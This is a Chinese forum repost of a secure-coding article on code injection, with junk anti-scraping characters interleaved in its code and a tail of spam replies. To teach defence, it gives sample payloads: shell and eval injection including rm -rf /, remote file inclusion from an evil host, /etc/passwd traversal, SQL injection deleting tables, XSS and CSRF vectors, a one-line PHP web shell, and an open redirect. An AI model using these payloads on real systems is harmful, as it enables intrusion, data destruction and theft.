123下一页
返回列表 发新帖

程序员疫苗:代码注入

9,190.4k 42
DeGe 发表于 2013-6-8 15:46:15|湖北 | 查看全部 阅读模式

几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。

我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。

Shell注入

我们先来看一段perl的代码:

[size=1em]
[size=1em]1

% A5 v  \( |6 ?6 F2 Y+ f9 A
[size=1em]2
0 F# @+ `1 Z/ V) a0 G9 C  J) e
[size=1em]3

$ r" S( Y! n4 ?, @; y0 y% t
[size=1em]4
: {# V- F& I! Z! B
[size=1em]5
* B: `0 z7 s5 T1 O3 C9 K2 a+ K
[size=1em]6
0 |, x: a  K3 r2 L% t6 S
[size=1em]7

. D+ T! d# \$ H  v
[size=1em]8
/ Y! Y% d( \; J/ o/ p8 Q& N
[size=1em]9
+ Z2 R2 R9 b9 m1 r
[size=1em]10

5 Z' t7 {# Y0 B- i. `
[size=1em]11
9 b5 y" a- h1 u) Q' C& ^/ ?
[size=1em][size=1em]use CGI qw(:standard);0 a; b: I7 f9 [. X- f$ A4 A
[size=1em]$name = param('name');
: |+ {: }7 j# z[size=1em]$nslookup = "/path/to/nslookup";
8 `! ^" P; j! G+ E  L[size=1em]print header;. ^3 c8 J$ i2 s- h  A+ Y
[size=1em]if (open($fh, "$nslookup $name|")) {
6 h  v  }& \" i; t' m[size=1em]    while (<$fh>) {0 {" e& U9 Z: m/ Q+ Z
[size=1em]        print escapeHTML($_);
4 Y# L- L, d, i- A% Y5 ^[size=1em]        print "<br>\n";
7 }3 y9 ~1 Q( x9 R  z# g# S% r[size=1em]    }
- z0 [% X" K1 F# ^" K( D[size=1em]    close($fh);
" u( o) ^  ~+ N5 ]  l[size=1em]}
7 n7 G0 E0 b& C: x( s  w( J, k' v
/ }8 j6 K6 ]3 V% i; t0 B$ D

9 }) g* Z/ X9 J
8 d( K8 X1 N* L

如果用户输入的参数是:

[size=1em]
[size=1em]1

5 m' M9 k" {3 C1 l) Z
[size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l
0 `' U" ^+ J& R1 h4 J) m2 `  y1 \! d/ m* T+ W% z% E

5 }5 w9 t5 [' v+ [/ W$ H
# V# t* q5 N! q4 `( q

那么,这段perl的程序就成了:


# {  h. J5 `* W3 d, _[size=1em]
[size=1em]1

& @. Z3 N% d; f# l
[size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l
, l5 N2 `% h2 n3 y0 ^' S, V. y  A2 `! l0 a0 A' w9 _& n
) y0 v: k( q0 N1 o7 i$ t7 `* B; Z
/ ~! c% u  h! V* m* F

我们再来看一段PHP的程序:

[size=1em]
[size=1em]1

! I3 q' e4 K; i5 x/ f5 ]
[size=1em]2

3 o" W: F) w* J
[size=1em]3

6 z( L6 o# J, K, e' J' M% i
[size=1em][size=1em]$myvar = 'somevalue';0 U! c4 f* D- O# ~) _* q  i- j: s
[size=1em]$x = $_GET['arg'];
) N" F/ E3 o, M% z$ i[size=1em]eval('$myvar = ' . $x . ';');$ h# ?* P4 _" h$ @. I' ^: j
' g2 o+ v' z2 q# T- D

" N8 T, G5 P: W& Q2 F
8 q0 ^0 m4 n; V+ R: @6 }

eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)

再来看一个PHP的代码

[size=1em]
[size=1em]1

" h, J: V) @7 ], R( d/ @& M/ Z
[size=1em]2
! j2 Q9 S* d2 E
[size=1em]3

, r: U' O6 n% [( w; h; }
[size=1em]4
2 H" C# X" f( Z" d# X. t
[size=1em]5

, Q& h2 b- r' m* @
[size=1em]6
5 h; C' K) N$ X/ \$ A
[size=1em][size=1em]$isadmin= false;% U+ Z' ~2 F8 o. l( f5 V* q2 R
[size=1em]...
/ A1 f9 Q4 T8 [* F[size=1em]...2 w+ X. O8 @$ b, G5 {1 Z8 G8 V
[size=1em]foreach ($_GET as $key => $value) {
8 R! q' n& d3 T' z' |- N[size=1em]  $$key = $value;
2 q5 u+ i7 @, R9 b2 D4 n[size=1em]}
& a/ g  ?9 U7 H5 d, N8 L, u1 A( ?: R
- z" W5 S* X7 Z7 Q; V9 I, c+ J
) e( q: I4 g. w( V( |) P( E) E# A
. b1 l, [/ g( n4 U, H# Z

如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。

再来看一个PHP的示例:

[size=1em]
[size=1em]1
: }2 J5 C: `! I# K& t
[size=1em]2
7 ~( u# B! h3 X4 `* W
[size=1em]3

8 q4 K$ P4 S; ^# Z1 h% v  N
[size=1em]4
9 I+ @+ h: m9 V* i' d/ h, L# d
[size=1em][size=1em]$action = 'login';0 |  R3 l- `5 _8 U0 A* N( `/ b- D
[size=1em]   if (__isset( $_GET['act'] ) )! \0 |. ~4 U' H: T) V
[size=1em]      $action = $_GET['act'];
1 p, E/ c, `% V5 Y' v$ K[size=1em]   require( $action . '.php' );
& y; t) c! g" C4 Z
! ?2 Y' j/ }5 v0 Q* u! d
6 i5 _, b8 S& k; l; @& I

1 m4 V$ o# j9 K! I0 g" ?

这个代码相当危险,攻击者有可能可以干这些事:

  • /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
  • /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
  • /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
    1 |2 u+ ~, A+ Y& t  d6 c6 W3 M8 F+ c- ~

这样的示例有很多,只要你的程序有诸如:system()StartProcess()java.lang.Runtime.exec()System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。

PHP提供escapeshellarg()escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。

SQL注入

SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。

在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

  • 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
  • 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
  • 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
  • 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。! H  x8 R. Q, @8 K  q5 F

例程:

某个网站的登录验证的SQL查询代码为

[size=1em]
[size=1em]1
+ l& }7 t. |" |+ t0 f6 d
[size=1em]2
' m1 {, `4 C7 V+ e
[size=1em][size=1em]strSQL = "SELECT * FROM users
! h* |- d4 N# \[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"& g9 g1 w" M: h6 L7 W

$ O6 q+ P2 W! o8 j  b# o1 g

0 d" u3 l3 C, X, P& F/ f

( F; O) W1 v5 ]1 s7 [4 N& m' @& w  ~

用户在登录时恶意输入如下的的用户名和口令:

[size=1em]
[size=1em]1
4 j- c. r1 N( ^% H1 G+ u
[size=1em][size=1em]userName = "' OR '1'='1";
! A  T6 H" C8 O7 |' |! k* I  }) V* M
8 o4 v5 n8 l6 a) M- L# F

& M8 n$ ]$ e5 H9 A3 z) Y[size=1em]
[size=1em]1

/ f0 v6 B+ w/ Q3 Y" K
[size=1em][size=1em]passWord = "' OR '1'='1";
9 [5 e  G8 J8 H( A9 l# w7 ^) z6 _
; ]3 o: V. \. U3 Y8 G8 m% i

2 n9 }8 ]; @3 h5 a: ^9 j
$ Y: V" W# \- B2 R3 z8 x+ X

此时,将导致原本的SQL字符串被解析为:

[size=1em]
[size=1em]1
0 c: Y8 C9 [3 ?7 [- @4 Y
[size=1em]2

6 @4 U& b* Z: }# f' @
[size=1em][size=1em]strSQL = "SELECT * FROM users
# z. r- g. ]/ H/ S5 d" x* A6 _[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');": R7 m7 T. U6 D+ v" `
: a) M/ ~3 z+ y+ ?9 P
9 r+ }" i- y( n+ n/ j
" P/ z2 J: [6 {! E5 c

也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。

[size=1em]
[size=1em]1
( Y6 s6 C: r5 z/ A) |6 D
[size=1em][size=1em]strSQL = "SELECT * FROM users;"
: }1 C8 O; C/ d, {3 d  e  k/ r5 }$ w; A* F
9 c  U1 W4 B, v9 K5 B# e( i
: r0 [- X% H) U

这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:

[size=1em]
[size=1em]1
  R' B4 T; E) X' Y( R4 D8 A- O, W
[size=1em][size=1em]username= "' ; DELETE FROM users; --";
) s3 W& Q- t5 A: p9 Q0 W# K3 |4 t" h. a
3 N! o! p  B+ }' a7 _

* L# a- P" b8 M6 l1 C# x

这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。

所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。

XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。

另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表

[size=1em]
[size=1em]1

' a$ c/ _9 m2 T5 C
[size=1em]2

5 A  Q" E& \9 H* z7 N8 |
[size=1em]3

+ p( H# g9 L& E8 _6 j+ e+ ]9 k
[size=1em]4
# E, Y9 S+ ?9 m; t
[size=1em]5

* S4 y; K; B! ~& o' O
[size=1em][size=1em]<table background=”javascript:alert(1)”>! B; G; m! ~$ I8 ]3 U% r( j
1 D4 v* a) T8 T" Y3 ~1 R
[size=1em]<meta charset=”mac-farsi”>&#188;script&#190;alert(1)&#188;/script&#190;
- Z0 \: w1 l, }. F* m1 f8 @$ N* \0 Y8 t5 f7 r0 Z) b! K  J, \
[size=1em]<img src=”javascript:alert(1)”>+ Y8 u% a; D7 \" I( F

1 A9 F4 F& R3 N$ ?. K4 {8 R

$ |* f7 W& s6 J7 y7 N- X

  U3 K" A7 v, p1 |3 u' I6 J

XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的)

于是,如果我在A站点内的某个贴子内注入这么一段代码:

[size=1em]
[size=1em]1

% C! _1 j! [, e, u
[size=1em][size=1em]<img src="[color=blue !important][size=1em]http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel">
2 z* j3 [0 K9 V3 l+ [
- Q" q3 |0 M; B: U% j

& W: f( [1 q' [0 V6 t
! `  F! P: D" x1 c9 Q' B, p

很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。

如何避免

要防止XSS攻击,一般来说有下面几种手段:

  • 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
    1 Y- l+ Y( e+ E3 W1 x$ Q
  • 严格过滤用户的输入。如:
    • PHP的htmlentities()或是htmlspecialchars()或是strip_tags()
    • Python的cgi.escape()
    • ASP的Server.HTMLEncode()
    • Node.js的node-validator。
    • Java的xssprotect" Z6 ]+ J% O8 r3 t+ C

    # _( j9 ~& d/ o
  • 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
    9 L# a  `3 l) |+ Z
  • 限制cookie的过期时间。
    7 h- e0 x+ S8 Y6 s6 E
  • 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)( L$ l1 l! Q! g% c) @" n( Q7 ]3 d+ r

另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。

上传文件

上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。

举个例子:

[size=1em]上传页面
[size=1em]1

) n4 D0 T1 N$ ~5 u
[size=1em]2

. v4 J2 P' G' L# t' U3 }
[size=1em]3
& F5 n- J/ R& O1 d+ b1 Z
[size=1em]4
+ n9 H+ J) l% k% H! r% H# g$ `2 k
[size=1em]5

# l4 B4 K  F. y2 K6 s' L5 ?; B
[size=1em]6
2 y3 s% ]4 ~, b# ]
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">% e9 x9 X0 i% g0 O
[size=1em]要上传的文件:' \- h6 J" L6 X0 `
[size=1em]<input type="file" name="filename"/>
4 T/ e- `7 Q2 C7 z9 w( y[size=1em]<br/>
$ d$ [6 ~9 V, Z2 ~9 N9 I[size=1em]<input type="submit" name="submit" value="Submit"/>4 k" m4 I) O1 l. y( J- @
[size=1em]</form>
1 m, _- B7 u8 [: L4 ]# U0 |2 T- g5 n1 {; @* [( C. n

  M, D: L' O8 W9 P
. [9 ?# w& y  o- q5 z, u- R7 M, `[size=1em]后台上传文件的PHP程序
[size=1em]1

4 M3 a" r2 x* L
[size=1em]2
! C8 z9 a5 H) ^' a# Y
[size=1em]3
3 M* C6 q8 I. q% K; r5 N
[size=1em]4

& t5 k) e1 T* ~! j2 R$ |6 g/ N
[size=1em]5

5 x; F; _! T& h7 E3 k, _
[size=1em]6

2 \6 ~& U" v* l, V3 d1 f
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);9 j5 S, X7 D" p. c# t
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
% M; H; C3 I: R; {[size=1em]    echo "图片文件上传成功";7 q8 Y8 c9 X! v* l4 p
[size=1em]}else{</div>$ g) h+ D8 Z! I$ H2 l# N
[size=1em]    echo "图片文件上传失败";, q0 T  k9 k; Y) L. V2 d
[size=1em]}# V$ Y  b5 S: I. O2 P

# n1 [$ ]* a% M
5 i: o) U" B7 q. }, U
7 I0 X1 S% ?+ F: o: i' o$ V" V: \4 n- g

假如我上传了一个PHP文件如下:

[size=1em]文件名malicious.php
[size=1em]1
0 f0 p3 |$ m2 b
[size=1em]2
) M0 x2 _0 c3 N1 y' q: L
[size=1em]3

& e+ R' E3 r% U  Q7 j+ C
[size=1em][size=1em]<?php
$ Z$ D& c6 X0 s, Q! R, ?/ M[size=1em]system($_GET['cmd']);
6 I! B: ^4 h( V3 P" P: Y  x7 J% B[size=1em]?>9 ~$ O: n/ J4 E8 q7 H
1 T! ?  j2 @: E$ w' m& _
5 d9 C( m6 v6 v; v$ H! K' i

+ Y9 o: }, A% c+ D% X

那么,我就可以通过如下的URL访问攻击你的网站了:

[size=1em]
[size=1em]1
3 t/ U8 S$ M. Y- z3 s6 L
[size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l5 ?. ^8 i% M. Q  N
/ N8 q+ Y5 J# U4 b

1 P$ P0 {) r' D5 m- U; g7 z6 B+ \
8 m9 G# Q0 m0 X5 J

抵御这样的攻击有两种手段:

1)限制上传文件的文件扩展名。

2)千万不要使用root或Administrator来运行你的Web应用。

URL跳转

URL跳转很有可能会成为攻击利用的工具。

比如下面的PHP代码:

[size=1em]
[size=1em]1
9 n& y$ R5 R" g$ p. j- X, `4 [* h8 t; `
[size=1em]2

% p" P& o# L1 N1 ^
[size=1em][size=1em]$redirect_url = $_GET['url'];
, }0 Y) a( d! x[size=1em]header("Location: " . $redirect_url);, b. M$ F9 V- t# B' f9 c
1 M6 X1 E' u, `
& [, S5 n7 c, z% `; p! {& b* z4 `7 o

4 F% z- m. d8 |6 o9 k0 R

这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。

于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。

. M' a: W* w& Y+ A# d+ n
[size=1em]
[size=1em]1

# k# A+ ]& V, g, [+ T7 {
[size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
$ s" K- B: m8 }6 a6 Y2 n( t0 H
* J* R8 t6 C2 k/ g" w- o
" k3 a7 D8 U1 E. x) d2 X
# B+ X8 U5 X8 k- \! J) k3 Y0 _

这种攻击具有的迷惑性在于,用户看到的http://bank.example.com以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了

解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。

你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好)

回复|共 42 个

lxtzf Lv.7 发表于 2014-10-2 07:38:40|广东 | 查看全部
顶你一下,好贴要顶!
/ P# f8 L% t& J6 {3 f% u
. U4 V: U7 ^4 c5 X2 O9 r$ o1 H; w
: p- R! M- V; @' V& e
6 I/ ^( \( P: v1 K

/ q6 d: `& z$ H+ S( f1 y2 Q# x" [5 w0 D- C, I9 J% y

$ D2 q! n' Y+ z2 T9 v% a& Y) N( X0 p) {5 ~/ v% g0 f

9 F% W; a! ]5 @/ v2 [- E
7 f; Y5 Y% P$ K. z/ Q7 u9 `4 ?6 F- f  Y7 ]9 Z4 x

5 X# ~& [) ~1 l9 H                               
登录/注册后可看大图
6 ]8 Z+ r3 G- G1 j! \% g# Z8 e
SAA15V7A电源适配器
7 B- t* P" w* {' K8 v( y                / ]6 ~! H4 d& X
' [" a3 y' G: r# e7 u2 k# [3 ^! Y/ ?
+ W% C- b8 Y4 D# G) {( w, @. N) ~! X2 a
       
apgckwmm Lv.8 发表于 2014-9-29 17:23:56|Reserved | 查看全部
嘿嘿......哈哈......呵呵.....哟~呼
kbcesuo Lv.8 发表于 2014-9-29 17:44:59|印度 | 查看全部
还没崇拜过谁呢,满足一下愿望吧,谢谢!
apgckwmm Lv.8 发表于 2014-9-29 17:54:55|加拿大 | 查看全部
经过你的指点 我还是没找到在哪 ~~~
kwjvtwzx Lv.15 发表于 2014-10-15 13:54:13|美国 | 查看全部
下次有人骂我了...我给他还回去..
inhidgehila Lv.8 发表于 2014-10-15 14:09:20|美国 | 查看全部
女人啊真是那句话~~~无理占三分~~忘记怎么说了 呵呵 ~~你帮我想想
xiaoye Lv.9 发表于 2014-10-15 14:12:29|INNA | 查看全部
来电来函..欢迎洽购...
kwjvtwzx Lv.15 发表于 2014-10-15 14:21:20|亚太地区 | 查看全部
@,@..是什么意思呀?
jckie Lv.8 发表于 2014-10-15 14:45:56|Reserved | 查看全部
(⊙o⊙)…好长啊,我虽然回复不了那么多字,但十五字还是有的。
efiew Lv.15 发表于 2014-10-17 21:35:59|美国 | 查看全部
~~~~哼..哼..哼...
uhxidjjr Lv.8 发表于 2014-10-17 21:36:51|北京 | 查看全部
你这样的表现,就只配这几个字:窝囊废
xiaoye Lv.9 发表于 2014-10-17 21:43:51|欧洲和中东地区 | 查看全部
唉!猪!你怎么了?
inhidgehila Lv.8 发表于 2014-10-17 22:02:15|美国 | 查看全部
哈 你逗逗他啊
apgckwmm Lv.8 发表于 2014-10-17 22:25:15|IANA | 查看全部
还没崇拜过谁呢,满足一下愿望吧,谢谢!

回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

得知互动是一个融创意、设计、开发、营销、生活、互联网于一体的专业交流分享平台。
Copyright © 2026 站长技术交流论坛|互联网技术交流平台|Ai技术交流平台 版权所有 All Rights Reserved. Powered by Discuz! X5.0 鄂ICP备15006301号-5|鄂公网安备 42018502006730号
关灯 在本版发帖 扫一扫添加QQ客服 返回顶部
快速回复 返回顶部 返回列表